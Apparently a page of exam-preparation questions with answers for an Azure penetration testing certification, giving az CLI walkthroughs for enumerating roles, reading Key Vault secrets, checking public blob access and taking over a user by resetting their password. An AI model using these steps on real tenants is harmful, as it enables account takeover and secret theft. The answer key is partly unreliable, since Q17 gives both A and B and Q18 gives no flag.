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| Section | Objectives |
|---|---|
| Topic 1: Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Topic 2: Azure Cloud Attack Surface Enumeration | - Azure resource discovery and recon - Identity and access enumeration (Azure AD / Entra ID) |
| Topic 3: Azure Identity & Authentication Exploitation | - Privilege escalation via misconfigured roles - Token / credential abuse scenarios |
| Topic 4: Azure Storage & Data Exposure | - Sensitive data extraction from storage services - Blob storage misconfiguration exploitation |
| Topic 5: Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
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質問 # 14
Using the previously gained access to the Azure environment, extract an access token from the Web App's environment and use it to impersonate its Managed Identity. Which of the following roles is assigned to the Web App's Security Principal?
正解:D
解説:
Detailed Solution:
First identify the managed identity attached to the Web App.
az webapp identity show \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
You should see a user-assigned managed identity similar to:
{
" userAssignedIdentities " : {
" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers
/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {
" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,
" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "
}
}
}
Now query the role assignments for the managed identity's principal ID:
az role assignment list \
--assignee efe89e83-010f-42f6-9576-30531fa47af7 \
--all \
--output table
The returned custom role is:
AppService-Auditor
That makes option D correct.
Final answer:
D). AppService-Auditor
質問 # 15
A managed identity has Key Vault Secrets User access to kv-finance-prod. Enumerate secrets and retrieve the hidden flag.
正解:
解説:
See the Answer in Explanation below.
Explanation:
Flag{managed_identity_can_read_keyvault_secrets}
Detailed Solution:
List Key Vaults:
az keyvault list --output table
List secrets:
az keyvault secret list \
--vault-name kv-finance-prod \
--output table
Expected output:
Name Enabled
---------------- --------
db-password True
api-token True
internal-flag True
Retrieve the flag secret:
az keyvault secret show \
--vault-name kv-finance-prod \
--name internal-flag \
--query value \
--output tsv
Expected value:
Flag{managed_identity_can_read_keyvault_secrets}
Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.
質問 # 16
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
正解:
解説:
See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
質問 # 17
After authenticating as the service principal, enumerate its assigned Azure RBAC role. Which role does it have?
正解:A
解説:
Detailed Solution:
Resolve the service principal object ID:
az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv
Then list role assignments:
SP_OBJECT_ID=$(az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ----------- ----------------------------------------
< sp-object-id > Contributor /subscriptions/5d8e44ac-...
Correct answer:
B). Contributor
質問 # 18
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
正解:
解説:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
質問 # 19
......
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